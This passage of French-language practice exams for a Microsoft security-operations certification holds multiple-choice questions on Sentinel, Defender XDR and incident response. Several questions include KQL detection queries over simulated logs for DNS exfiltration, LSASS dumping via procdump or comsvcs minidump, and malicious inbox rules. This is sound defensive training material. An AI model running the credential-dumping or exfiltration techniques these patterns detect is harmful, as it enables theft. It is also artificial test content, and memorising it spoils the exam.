"Name=..;SubjectContainsWords=virement,facture,RIB;MoveToFolder=RSS Feeds;MarkAsRead=True",
    datetime(2026-10-05T08:00:00Z), "t.noel@contoso.com",    "Set-Mailbox",   "AutoReplyState=Enabled"
];
Regles
| where Operation in ("New-InboxRule", "Set-InboxRule")
| where Parameters has_any ("RSS Feeds", "Conversation History", "DeleteMessage", "MarkAsRead=True")
| project TimeGenerated, UserId, Parameters
```

A. La règle de s.lambert : nom « .. », mots-clés financiers, déplacement vers « RSS Feeds » et marquage comme lu.

B. La règle de f.garnier : classement des factures d'un fournisseur.

C. Les trois opérations.

D. L'opération de t.noel : réponse automatique.

Examen 1 — Question 48 (Gérer un environnement d'opérations de sécurité)

Dans la liste des règles d'analyse, une règle porte désormais le préfixe « AUTO DISABLED ». Quelle est l'explication la plus probable ?

A. La règle n'a produit aucune alerte depuis 30 jours.

B. La règle a généré plus de 150 alertes en une exécution.

C. Un analyste Responder a fermé tous ses incidents comme faux positifs.

D. Sentinel a désactivé la règle après des échecs permanents d'exécution (par exemple une table ou une fonction supprimée, ou une perte d'accès à un espace cible).

Examen 1 — Question 49 (Gérer un environnement d'opérations de sécurité)

Un analyste constate que la chasse avancée Defender XDR ne lui permet de remonter que sur 30 jours dans DeviceProcessEvents. Il doit enquêter sur une compromission vieille de 5 mois. Quelle mesure, à mettre en place en amont, permettait de conserver ces données plus longtemps ?

A. Configurer, dans la gestion des tables du portail Defender (Sentinel connecté), une rétention plus longue pour la table XDR concernée, dans le niveau Analytics ou data lake.

B. Augmenter le niveau d'automatisation de Defender for Endpoint.

C. Activer le mode bloc EDR.

D. Créer une règle de détection personnalisée qui s'exécute toutes les 24 heures.

Examen 1 — Question 50 (Gérer un environnement d'opérations de sécurité)

Un outil d'administration légitime déclenche quotidiennement une alerte MDE « Suspicious PowerShell command line » sur 30 serveurs. Après analyse, il s'agit d'une activité attendue. Quelle solution réduit le bruit sans désactiver la détection pour le reste du parc ?

A. Créer une règle d'ajustement des alertes (alert tuning) qui masque ou résout automatiquement les alertes correspondant à des conditions précises (titre, appareils, ligne de commande ou processus parent).

B. Désactiver l'antivirus Microsoft Defender sur ces serveurs.

C. Ajouter une exclusion antivirus sur powershell.exe pour tout le parc.

D. Classer chaque incident comme faux positif manuellement chaque jour.

Examen blanc n° 2

Consignes : 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

Examen 2 — Question 1 (Répondre aux incidents de sécurité)

Une stratégie MDCA détecte un téléchargement massif de fichiers SharePoint par un utilisateur dont le compte semble compromis. Quelle action de gouvernance de Defender for Cloud Apps augmente aussi son niveau de risque dans Entra ID Protection, déclenchant les stratégies d'accès conditionnel basées sur le risque ?

A. « Notifier l'utilisateur ».

B. « Appliquer une étiquette de confidentialité ».

C. « Confirmer que l'utilisateur est compromis » (Confirm user compromised).

D. « Supprimer le partage externe ».

Examen 2 — Question 2 (Répondre aux incidents de sécurité)

Pourquoi une détection fondée sur les techniques de l'attaquant (TTP) est-elle généralement plus durable qu'une détection fondée uniquement sur des indicateurs (hachages, IP) ?

A. Parce que les hachages ne peuvent pas être recherchés en KQL.

B. Parce que les IOC sont interdits dans Microsoft Sentinel.

C. Parce que l'attaquant peut changer facilement de hachage ou d'adresse IP, alors que modifier ses techniques (par exemple sa façon de voler des identifiants ou de se déplacer) lui coûte beaucoup plus cher.

D. Parce que les TTP ne génèrent jamais de faux positifs.

Examen 2 — Question 3 (Gérer un environnement d'opérations de sécurité)

Un chasseur de menaces doit exécuter des requêtes KQL interactives et des notebooks sur le data lake Microsoft Sentinel. Quelle affirmation sur le modèle d'autorisations est exacte ?

A. Le data lake n'est accessible qu'au rôle Propriétaire de l'abonnement Azure.

B. Le rôle Microsoft Sentinel Responder donne automatiquement le droit de créer des jobs KQL dans le data lake.

C. Le data lake utilise des rôles Microsoft Entra ID (RBAC Entra) en plus des rôles Azure de Sentinel, alors que le SIEM Sentinel repose sur le RBAC Azure.

D. Le data lake ne nécessite aucun rôle : tout utilisateur du portail Defender peut l'interroger.

Examen 2 — Question 4 (Effectuer la chasse aux menaces)

Scénario B (suite) : la ligne de commande contient une longue chaîne Base64 après `-enc`. **Question :** quelle approche permet de lire la commande et d'en extraire d'autres IOC ?

A. Rechercher la chaîne Base64 sur Internet.

B. Supprimer la ligne de commande des journaux.

C. Convertir la chaîne en majuscules.

D. Extraire la chaîne avec `extract()` puis la décoder avec `base64_decode_tostring()` (en tenant compte de l'encodage UTF-16LE), ou utiliser l'analyse de script de Copilot dans Defender.

Examen 2 — Question 5 (Gérer un environnement d'opérations de sécurité)

Après un incident de compromission, l'équipe craint le retour de l'attaquant via les mêmes infrastructures. Quelle mesure de surveillance est la plus efficace ?

A. Augmenter la rétention de toutes les tables à 12 ans.

B. Désactiver les alertes de faible gravité.

C. Créer des détections ciblées temporaires (règles analytiques ou détections personnalisées) sur les IOC et TTP observés (IP, domaines, hachages, comptes, techniques) avec une gravité élevée, et une liste de surveillance des actifs touchés.

D. Relancer un audit de conformité.

Examen 2 — Question 6 (Répondre aux incidents de sécurité)

MDI lève « Suspected identity theft (pass-the-hash) » : un hachage NTLM d'un administrateur est utilisé depuis un poste où cet administrateur ne s'est jamais connecté. Quelles mesures de remédiation sont pertinentes ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Ignorer l'alerte si l'administrateur est en congé.

B. Augmenter la longueur des noms d'utilisateur.

C. Réduire l'exposition des identifiants : limiter les connexions d'administrateurs sur les postes (modèle de niveaux), Credential Guard, LAPS, groupe Protected Users.

D. Réinitialiser le mot de passe du compte dont le hachage est utilisé et investiguer le poste source (vol de LSASS).

E. Activer NTLMv1 pour la compatibilité.

Examen 2 — Question 7 (Gérer un environnement d'opérations de sécurité)

Un analyste N1 doit pouvoir consulter les processus et connexions d'un appareil via Live Response, mais ne doit jamais télécharger de fichiers ni exécuter de scripts. Comment configurer ses droits ?

A. Lui attribuer un rôle personnalisé n'autorisant que les commandes Live Response de base (sans la permission « advanced »).

B. Lui attribuer le rôle Administrateur général Entra.

C. Activer « Live response unsigned script execution ».

D. Désactiver Live Response dans les fonctionnalités avancées.

Examen 2 — Question 8 (Effectuer la chasse aux menaces)

Scénario G (suite) : vous devez lister les fichiers téléchargés par l'utilisateur depuis SharePoint/OneDrive au cours des 14 derniers jours, avec les volumes par site. **Question :** quelle requête est la plus adaptée ?

A.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(14d)
| where AccountName == "jfabre"
```

B.

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| summarize count() by Application
```

C.

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| where AccountDisplayName == "Julien Fabre"
| where ActionType in ("FileDownloaded", "FileSyncDownloadedFull")
| extend Site = tostring(RawEventData.SiteUrl), Fichier = tostring(RawEventData.SourceFileName)
| summarize Fichiers = dcount(Fichier), Liste = make_set(Fichier, 50) by Site, bin(Timestamp, 1d)
```

D.

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(14d)
| where SenderFromAddress has "julien"
```

Examen 2 — Question 9 (Gérer un environnement d'opérations de sécurité)

Toutes les alertes d'une règle s'intitulent « Accès suspect à un partage ». Les analystes veulent que le titre contienne le nom de l'ordinateur et du compte concernés, par exemple « Accès suspect à un partage par jdupont sur SRV-FIC01 ». Quelle fonctionnalité utiliser ?

A. Une watchlist contenant les titres souhaités.

B. Les détails personnalisés (custom details) uniquement.

C. Le remplacement des détails d'alerte (alert details override), avec un format de nom d'alerte contenant des paramètres tels que `{{SubjectUserName}}` et `{{Computer}}`.

D. Une règle d'automatisation qui renomme l'alerte.

Examen 2 — Question 10 (Effectuer la chasse aux menaces)

Scénario I (suite) : parmi les secrets lus figurait une clé de compte de stockage. **Question :** comment vérifier si elle a été utilisée par l'attaquant ?

A. Examiner les journaux de ressources du compte de stockage (StorageBlobLogs) pour les accès authentifiés par clé de compte depuis des IP inhabituelles après l'heure de lecture du secret.

B. Consulter Heartbeat.

C. Vérifier le Secure Score.

D. Examiner uniquement SigninLogs, car tout accès au stockage passe par une connexion Entra ID.

Examen 2 — Question 11 (Répondre aux incidents de sécurité)

Plusieurs utilisateurs ont accordé à une application « PDF Converter Pro » l'accès à leur messagerie après un e-mail d'hameçonnage. Selon le guide Microsoft de réponse aux octrois de consentement d'application, quelles actions sont prioritaires ?

A. Bloquer le domaine de l'expéditeur uniquement.

B. Réinitialiser les mots de passe des utilisateurs et considérer l'incident clos.

C. Demander aux utilisateurs de désinstaller l'application de leur poste.

D. Identifier l'application et les utilisateurs ayant consenti, révoquer les autorisations (supprimer les octrois de consentement et désactiver ou supprimer le principal de service), puis restreindre le consentement des utilisateurs.

Examen 2 — Question 12 (Gérer un environnement d'opérations de sécurité)

Votre locataire utilise le RBAC unifié de Microsoft Defender (URBAC). Un analyste doit pouvoir consulter et gérer les incidents (y compris les « cas d'incident ») mais pas modifier les paramètres de sécurité. Quelle autorisation URBAC est la plus appropriée ?

A. « Security data » en lecture et gestion (Security Data Read / Security Data Manage) dans le groupe d'autorisations Opérations de sécurité.

B. Le rôle Microsoft Entra Global Administrator.

C. « Security settings » (gestion des paramètres) uniquement.

D. « Data (manage) » dans le groupe Opérations de données.

Examen 2 — Question 13 (Gérer un environnement d'opérations de sécurité)

Un compte de service critique pour la production a été désactivé à tort par l'interruption automatique d'attaque à cause d'un comportement atypique mais légitime. Comment éviter que cela se reproduise, sans désactiver la fonctionnalité pour le reste du locataire ?

A. Supprimer le compte et le recréer.

B. Passer tous les groupes d'appareils en « No automated response ».

C. Ajouter le compte aux exclusions de l'interruption automatique d'attaque (exclusion d'identité), après validation que son comportement est légitime.

D. Désactiver Defender for Identity.

Examen 2 — Question 14 (Gérer un environnement d'opérations de sécurité)

Vous voulez maximiser l'efficacité de l'interruption automatique d'attaque contre les rançongiciels opérés par des humains. Quelles configurations sont recommandées ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Configurer tous les groupes d'appareils en « No automated response ».

B. Supprimer tous les comptes de service.

C. Désactiver l'antivirus Microsoft Defender au profit d'un pare-feu tiers.

D. Déployer Defender for Identity sur les contrôleurs de domaine (pour permettre les actions sur les comptes Active Directory, comme la désactivation de l'utilisateur).

E. Déployer Defender for Endpoint avec la découverte des appareils et le mode bloc EDR / la protection contre les falsifications, sur un maximum d'appareils.

Examen 2 — Question 15 (Répondre aux incidents de sécurité)

Scénario A (suite) : après le confinement, une nouvelle alerte signale l'accès à la boîte de l.benoit par une application inconnue. **Question :** quelle vérification aurait dû faire partie de l'éradication ?

A. L'inventaire des applications ayant reçu un consentement de l'utilisatrice (et des secrets/identifiants d'application ajoutés) pendant la compromission, avec révocation des octrois illégitimes.

B. La réinstallation du poste de l'utilisatrice.

C. La suppression de toutes les applications d'entreprise du locataire.

D. La désactivation de Safe Links.

Examen 2 — Question 16 (Effectuer la chasse aux menaces)

Hypothèse de chasse : des données sont exfiltrées par des requêtes DNS à longs sous-domaines. Sur les requêtes simulées, quel domaine est signalé ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Dns = datatable(TimeGenerated:datetime, ClientIP:string, Name:string)
[
    datetime(2026-10-05T10:00:00Z), "10.0.4.25",
"4a6f75726e616c2d636f6d707461626c652d32303236.x7.exfil-data.net",
    datetime(2026-10-05T10:00:01Z), "10.0.4.25",
"6d6f74732d64652d70617373652d61646d696e2d7631.x8.exfil-data.net",
    datetime(2026-10-05T10:00:02Z), "10.0.4.25",
"636c69656e74732d7072656d69756d2d6c697374652d.x9.exfil-data.net",
    datetime(2026-10-05T10:05:00Z), "10.0.4.30", "www.contoso.com",
    datetime(2026-10-05T10:06:00Z), "10.0.4.31", "login.microsoftonline.com"
];
Dns
| extend Parties = split(Name, ".")
| extend Domaine = strcat(tostring(Parties[-2]), ".", tostring(Parties[-1])), LongueurSousDomaine =
strlen(tostring(Parties[0]))
| summarize Requetes = count(), LongueurMoy = avg(LongueurSousDomaine), SousDomaines = dcount(Name) by
ClientIP, Domaine
| where LongueurMoy > 30 and SousDomaines >= 3
```

A. microsoftonline.com.

B. Aucun, car `split` ne fonctionne pas sur les noms de domaine.

C. exfil-data.net, interrogé par 10.0.4.25 avec des sous-domaines d'environ 44 caractères, tous différents.

D. contoso.com.

Examen 2 — Question 17 (Gérer un environnement d'opérations de sécurité)

L'équipe RH doit pouvoir interroger uniquement la table OfficeActivity d'un espace Sentinel partagé, sans voir SecurityEvent ni SigninLogs. Quelle approche répond au besoin sans créer de nouvel espace ?

A. Configurer un contrôle d'accès au niveau table (table-level RBAC), via un rôle personnalisé ou l'attribution de droits de lecture limités aux tables autorisées.

B. Placer la table OfficeActivity en plan Basic.

C. Créer une règle d'automatisation qui masque les autres tables pour ce groupe.

D. Attribuer le rôle Microsoft Sentinel Reader sur l'espace.

Examen 2 — Question 18 (Gérer un environnement d'opérations de sécurité)

Le SOC veut que chaque incident de type « Hameçonnage » affiche automatiquement une liste de contrôle d'investigation (vérifier les destinataires, rechercher les clics, purger les messages, réinitialiser les mots de passe). Quelle fonctionnalité utiliser ?

A. Un classeur affiché dans chaque incident.

B. Les détails personnalisés de la règle d'analyse.

C. Une watchlist de procédures.

D. Une règle d'automatisation avec l'action « Ajouter une tâche », conditionnée aux incidents d'hameçonnage.

Examen 2 — Question 19 (Répondre aux incidents de sécurité)

MDE détecte un « beacon » Cobalt Strike sur un serveur. Quelle démarche permet d'identifier rapidement les autres systèmes infectés ?

A. Réinstaller le seul serveur détecté.

B. Extraire les indicateurs (hachage du binaire/DLL, IP et domaines de C2, nom de canal nommé, ligne de commande) et les rechercher dans tout le parc via la chasse avancée, puis isoler les appareils trouvés.

C. Attendre que d'autres alertes se déclenchent.

D. Bloquer tout le trafic HTTPS sortant de l'entreprise.

Examen 2 — Question 20 (Gérer un environnement d'opérations de sécurité)

Après la mise en place d'un redirecteur Linux avec AMA, les mêmes événements de pare-feu apparaissent à la fois dans Syslog et dans CommonSecurityLog, doublant les coûts. Quelle est la cause la plus probable ?

A. Le connecteur Microsoft Defender XDR réplique les journaux de pare-feu.

B. Deux DCR (Syslog via AMA et CEF via AMA) collectent la même facilité Syslog sur le même redirecteur.

C. Le pare-feu envoie chaque message deux fois en UDP.

D. La table CommonSecurityLog est en plan Basic.

Examen 2 — Question 21 (Gérer un environnement d'opérations de sécurité)

Une règle analytique Sentinel détecte des « connexions depuis des IP Tor » mais génère chaque jour des incidents pour les adresses d'un fournisseur VPN d'entreprise mal classées comme Tor. Quelle est la meilleure correction durable ?

A. Désactiver définitivement la règle.

B. Réduire la gravité de la règle à « Informationnel ».

C. Fermer manuellement chaque incident comme faux positif.

D. Corriger la règle : exclure les plages IP du VPN d'entreprise via une watchlist référencée dans la requête, puis documenter la modification.

Examen 2 — Question 22 (Effectuer la chasse aux menaces)

Besoin de détection : alerter sur les connexions réussies depuis un pays jamais utilisé par l'utilisateur au cours des 14 jours précédents. Quelle requête implémente cette logique de référence (baseline) ?

A.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where Location != "FR"
```

B.

REQUÊTE KQL

```
let historique = SigninLogs
| where TimeGenerated between (ago(15d) .. ago(1d))
| where ResultType == "0"
| summarize PaysConnus = make_set(Location) by UserPrincipalName;
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| join kind=inner historique on UserPrincipalName
| where not(set_has_element(PaysConnus, Location))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName
```

C.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != "0"
| summarize count() by Location
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(14d)
| summarize dcount(Location) by UserPrincipalName
```

Examen 2 — Question 23 (Répondre aux incidents de sécurité)

Vous créez un compte « adm_backup_old » jamais utilisé, avec un nom attractif, pour détecter les attaquants. Comment exploiter MDI pour être alerté si quelqu'un tente de l'utiliser ?

A. Marquer le compte avec la balise « Honeytoken » dans Defender for Identity ; toute authentification ou activité sur ce compte déclenche une alerte.

B. Désactiver la journalisation des connexions pour ce compte.

C. Créer une watchlist Sentinel contenant le nom du compte, sans autre configuration.

D. Ajouter le compte au groupe Admins du domaine.

Examen 2 — Question 24 (Gérer un environnement d'opérations de sécurité)

Scénario H (suite) : une règle planifiée toutes les 5 minutes sur des journaux de proxy tiers rate régulièrement des événements que l'on retrouve plus tard en chasse manuelle. **Question :** quelle est la cause la plus probable et la correction ?

A. Le proxy envoie des données chiffrées illisibles.

B. Les règles planifiées ignorent les tables personnalisées.

C. Une erreur de l'opérateur `where`.

D. Un délai d'ingestion supérieur à la fenêtre de la règle ; élargir la fenêtre de recherche (fréquence + délai) et filtrer sur `ingestion_time()` pour éviter les doublons.

Examen 2 — Question 25 (Gérer un environnement d'opérations de sécurité)

Un analyste interroge la table SecurityIncident pour compter les incidents fermés au cours du mois et obtient un nombre bien supérieur au nombre réel d'incidents. Quelle est la cause la plus probable ?

A. La table SecurityIncident contient aussi toutes les alertes Defender for Endpoint.

B. Les incidents fermés sont recréés chaque jour par les règles d'analyse.

C. La table SecurityIncident est en plan Basic et renvoie des doublons.

D. Chaque modification d'un incident ajoute une nouvelle ligne dans SecurityIncident ; il faut ne conserver que la dernière version de chaque incident (par exemple avec `arg_max`).

Examen 2 — Question 26 (Répondre aux incidents de sécurité)

Le SOC veut suivre dans le portail Defender un travail qui ne correspond pas à un incident (par exemple une campagne de durcissement suite à un audit), avec tâches, propriétaires, pièces jointes et SLA. Quelle fonctionnalité utiliser ?

A. Les cas génériques (generic cases) de la gestion des cas du portail Defender.

B. Les règles d'analyse NRT.

C. Les watchlists.

D. Les recommandations du Secure Score uniquement.

Examen 2 — Question 27 (Répondre aux incidents de sécurité)

Un attaquant crée une règle de boîte de réception qui transfère automatiquement les e-mails vers une adresse externe. Quelle technique ATT&CK correspond ?

A. T1059.001 – PowerShell.

B. T1490 – Inhibit System Recovery.

C. T1114.003 – Email Collection : Email Forwarding Rule (tactique Collection).

D. T1566.002 – Spearphishing Link.

Examen 2 — Question 28 (Gérer un environnement d'opérations de sécurité)

Un indicateur « Bloquer et corriger » sur un hachage SHA256 ne bloque pas le fichier sur certains appareils Windows. Quel prérequis est le plus probablement absent sur ces appareils ?

A. L'antivirus Microsoft Defender n'est pas en mode actif (par exemple mode passif à cause d'un antivirus tiers) ou la protection cloud est désactivée.

B. Le connecteur Defender for Cloud Apps est désactivé.

C. La table DeviceFileEvents n'est pas ingérée dans Sentinel.

D. L'appareil n'est pas membre d'un groupe Microsoft Entra dynamique.

Examen 2 — Question 29 (Gérer un environnement d'opérations de sécurité)

Une multinationale a des équipes SOC régionales qui ne doivent voir que les incidents de leurs appareils. Elle constate que des incidents regroupent des alertes d'appareils de régions différentes. Quelle fonctionnalité avancée de MDE répond au besoin ?

A. « Download quarantined files ».

B. « Show user details ».

C. « Automatically resolve alerts ».

D. « Restrict correlation to within scoped device groups » (restreindre la corrélation aux groupes d'appareils de l'étendue).

Examen 2 — Question 30 (Gérer un environnement d'opérations de sécurité)

Scénario J (suite) : une détection personnalisée Defender XDR isole automatiquement tout appareil exécutant `psexec.exe`. Un matin, 60 serveurs sont isolés lors d'un déploiement légitime de l'équipe d'exploitation.
Question : quelle correction est la plus adaptée ?

A. Supprimer définitivement toutes les détections personnalisées.

B. Affiner la requête (exclure les comptes et serveurs de déploiement légitimes, cibler des combinaisons suspectes), et réserver l'isolation automatique aux détections à très haute confiance ; libérer les serveurs après vérification.

C. Garder la règle telle quelle, la sécurité prime sur la production.

D. Désactiver Defender for Endpoint sur les serveurs.

Examen 2 — Question 31 (Gérer un environnement d'opérations de sécurité)

La table CommonSecurityLog contient une colonne AdditionalExtensions très volumineuse, jamais utilisée par les détections. Comment réduire le coût d'ingestion tout en conservant les autres colonnes ?

A. Réduire la rétention de CommonSecurityLog à 30 jours.

B. Supprimer la table puis la recréer chaque nuit.

C. Ajouter une transformation au moment de l'ingestion (transformKql) dans la DCR, par exemple `source | project-away AdditionalExtensions`.

D. Utiliser `project-away AdditionalExtensions` dans toutes les règles d'analyse.

Examen 2 — Question 32 (Effectuer la chasse aux menaces)

Hypothèse de chasse : un attaquant ajoute un secret à une application à privilèges pour persister (T1098.001). Quelle requête renvoie l'opération et son auteur à partir de ces événements d'audit simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Audit = datatable(TimeGenerated:datetime, OperationName:string, Result:string,
InitiatedBy:dynamic, TargetResources:dynamic)
[
    datetime(2026-10-05T04:12:00Z), "Add service principal credentials", "success",
        dynamic({"user":
{"userPrincipalName":"it.contractor@contoso.com","ipAddress":"203.0.113.66"}}),
        dynamic([{"displayName":"App-Paie-Graph","type":"ServicePrincipal"}]),
    datetime(2026-10-05T10:00:00Z), "Update user", "success",
        dynamic({"user":{"userPrincipalName":"rh.admin@contoso.com","ipAddress":"192.0.2.20"}}),
        dynamic([{"displayName":"Nadia Roche","type":"User"}])
];
Audit
| where OperationName has_any ("Add service principal credentials", "Update application – Certificates
and secrets management")
| extend Auteur = tostring(InitiatedBy.user.userPrincipalName), IP =
tostring(InitiatedBy.user.ipAddress), Application = tostring(TargetResources[0].displayName)
| project TimeGenerated, OperationName, Auteur, IP, Application
```

A. Une ligne : la mise à jour de l'utilisateur Nadia Roche.

B. Deux lignes.

C. Une ligne : l'ajout d'identifiants à « App-Paie-Graph » par it.contractor@contoso.com depuis 203.0.113.66 à 04 h 12.

D. Aucune ligne, car InitiatedBy est dynamique.

Examen 2 — Question 33 (Répondre aux incidents de sécurité)

Une requête de chasse avancée renvoie 12 appareils où un binaire malveillant (SHA256 connu) a été exécuté. L'analyste veut isoler ces appareils et mettre le fichier en quarantaine directement depuis les résultats. Est-ce possible ?

A. Non : il faut obligatoirement passer par Live Response sur chaque appareil.

B. Oui : la fonctionnalité « Prendre des mesures » (Take action) des résultats de chasse avancée permet d'appliquer des actions sur les appareils (isolation, analyse antivirus, package d'investigation…) et sur les fichiers (quarantaine, indicateur).

C. Oui, mais uniquement pour les e-mails.

D. Non : la chasse avancée est en lecture seule.

Examen 2 — Question 34 (Répondre aux incidents de sécurité)

Defender for Storage signale « Access from a suspicious IP address » sur un compte de stockage. Quelle démarche d'investigation est la plus complète ?

A. Attendre une deuxième alerte.

B. Supprimer le compte de stockage immédiatement.

C. Identifier le mode d'authentification utilisé (clé de compte, SAS, Entra ID), les objets consultés et le volume (StorageBlobLogs), l'origine de l'identifiant (fuite de clé/SAS dans un dépôt de code, identité compromise), puis faire tourner les clés/SAS et restreindre l'accès réseau.

D. Changer uniquement le nom du conteneur.

Examen 2 — Question 35 (Gérer un environnement d'opérations de sécurité)

Un pare-feu Palo Alto envoie ses journaux au format CEF sur Syslog. Quelle architecture recommandée permet de les ingérer dans Sentinel ?

A. Installer l'agent Azure Monitor directement sur le pare-feu.

B. Un redirecteur de journaux Linux avec l'agent Azure Monitor et une DCR « CEF via AMA », vers lequel le pare-feu envoie ses messages Syslog/CEF ; les données arrivent dans CommonSecurityLog.

C. Envoyer les journaux par e-mail vers une boîte surveillée par un playbook.

D. Utiliser le connecteur Windows Security Events via AMA.

Examen 2 — Question 36 (Effectuer la chasse aux menaces)

Besoin de détection : repérer les tentatives de vidage de la mémoire de LSASS par des outils légitimes détournés (procdump, comsvcs.dll via rundll32), technique T1003.001. Quelle requête est la plus pertinente ?

A.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where AccountName =~ "lsass"
```

B.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "lsass.exe"
```

C.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName in~ ("procdump.exe", "procdump64.exe") and ProcessCommandLine has "lsass")
    or (FileName =~ "rundll32.exe" and ProcessCommandLine has "comsvcs" and ProcessCommandLine
has "minidump")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

D.

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName =~ "lsass.exe"
```

Examen 2 — Question 37 (Effectuer la chasse aux menaces)

Besoin : pour chaque connexion vers une IP de commande et contrôle, afficher la ligne de commande complète du processus et celle de son parent. Quelle requête est la plus simple et correcte ?

A.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "198.51.100.23"
```

B.

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName
```

C.

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| join kind=inner (DeviceProcessEvents) on DeviceName
```

D.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
```

Examen 2 — Question 38 (Effectuer la chasse aux menaces)

Scénario F (suite) : quels comptes ont ouvert une session sur PC-0712 depuis le début de la compromission (estimé au 3 octobre à 14 h) et doivent être considérés comme exposés ? **Question :** quelle requête utiliser ?

A.

REQUÊTE KQL

```
IdentityInfo
| where Department == "IT"
```

B.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where DeviceName =~ "pc-0712"
| where ActionType == "LogonSuccess"
| summarize Sessions = count(), Types = make_set(LogonType), Derniere = max(Timestamp) by
AccountDomain, AccountName
| order by Derniere desc
```

C.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where FileName =~ "explorer.exe"
```

D.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(30d)
| summarize count() by DeviceName
```

Examen 2 — Question 39 (Gérer un environnement d'opérations de sécurité)

Une règle génère jusqu'à 60 alertes par jour pour le même serveur, ce qui crée 60 incidents. Vous voulez un seul incident par serveur et par 24 heures, et rouvrir l'incident s'il a été fermé par erreur. Quelle configuration de règle répond au besoin ?

A. Activer le regroupement d'alertes dans les paramètres d'incident, sur une période de 24 heures, en regroupant les alertes dont l'entité Host correspond, avec l'option de réouverture des incidents fermés correspondants.

B. Configurer la suppression de la règle pendant 24 heures.

C. Créer une règle d'automatisation qui ferme les incidents en double.

D. Désactiver la création d'incidents et traiter les alertes manuellement.

Examen 2 — Question 40 (Répondre aux incidents de sécurité)

Defender for Containers signale « Privileged container detected » puis « Escape to host attempt » dans un cluster AKS. Quelle réponse est la plus appropriée ?

A. Désactiver Defender for Containers.

B. Redémarrer le cluster sans investigation.

C. Ignorer : les conteneurs privilégiés sont nécessaires à toutes les applications.

D. Isoler la charge (supprimer ou mettre à l'échelle zéro le pod, appliquer une politique réseau restrictive), examiner le nœud (possible compromission de l'hôte), identifier qui a déployé le conteneur et renforcer les politiques d'admission (interdire les conteneurs privilégiés).

Examen 2 — Question 41 (Répondre aux incidents de sécurité)

Le groupe de rançongiciel affirme avoir volé 200 Go de données avant le chiffrement. Quelles sources consulter pour vérifier une exfiltration ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

- **A.** L'exécution d'outils de synchronisation/archivage (rclone, MEGAsync, 7-Zip, WinRAR) dans DeviceProcessEvents sur les serveurs de fichiers.
- **B.** Les recommandations de Defender for Cloud uniquement.
- **C.** Les journaux réseau (pare-feu/proxy, DeviceNetworkEvents) pour des volumes sortants inhabituels vers des services de stockage ou des IP inconnues.
- **D.** La table Heartbeat.
- **E.** Le Secure Score Microsoft.

Examen 2 — Question 42 (Répondre aux incidents de sécurité)

Un compte Microsoft 365 a été compromis par hameçonnage : connexions depuis une IP étrangère, règle de transfert créée, envoi de spam interne. Quelles actions immédiates sont prioritaires ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

- **A.** Désactiver Defender for Office 365 pour éviter de nouvelles alertes.
- **B.** Attendre la fin de l'enquête complète avant toute action.
- **C.** Supprimer les règles de boîte de réception et de transfert malveillantes, et retirer les e-mails malveillants envoyés en interne.
- **D.** Supprimer définitivement le compte utilisateur.
- **E.** Réinitialiser le mot de passe, révoquer les sessions/jetons d'actualisation et vérifier les méthodes MFA enregistrées par l'attaquant.

Examen 2 — Question 43 (Gérer un environnement d'opérations de sécurité)

Après la connexion de Sentinel au portail Defender, une règle d'automatisation qui filtrait sur le titre exact des incidents (« Incident – Règle X ») ne se déclenche plus. Quelle est la cause la plus probable ?

- **A.** Les incidents Sentinel ne sont plus enregistrés dans SecurityIncident.
- **B.** Le moteur de corrélation Defender XDR peut renommer les incidents et en modifier la composition ; les conditions fondées sur le titre de l'incident ne sont plus fiables et doivent être remplacées par des conditions sur la règle d'analyse, les alertes ou les balises.
- **C.** Les règles d'automatisation ne peuvent plus lancer de playbooks dans le portail Defender.
- **D.** Les règles d'automatisation sont désactivées dans le portail Defender.

Examen 2 — Question 44 (Répondre aux incidents de sécurité)

Un poste continue d'exécuter une charge malveillante après suppression de toutes les tâches planifiées et clés Run. Quel mécanisme de persistance moins visible faut-il examiner, et quelle protection existe ?

- **A.** Le fond d'écran de l'utilisateur.
- **B.** Le fichier hosts.
- **C.** La corbeille.

D. Les abonnements aux événements WMI (filtres, consommateurs et liaisons), que la règle ASR « Bloquer la persistance via un abonnement aux événements WMI » permet de bloquer.

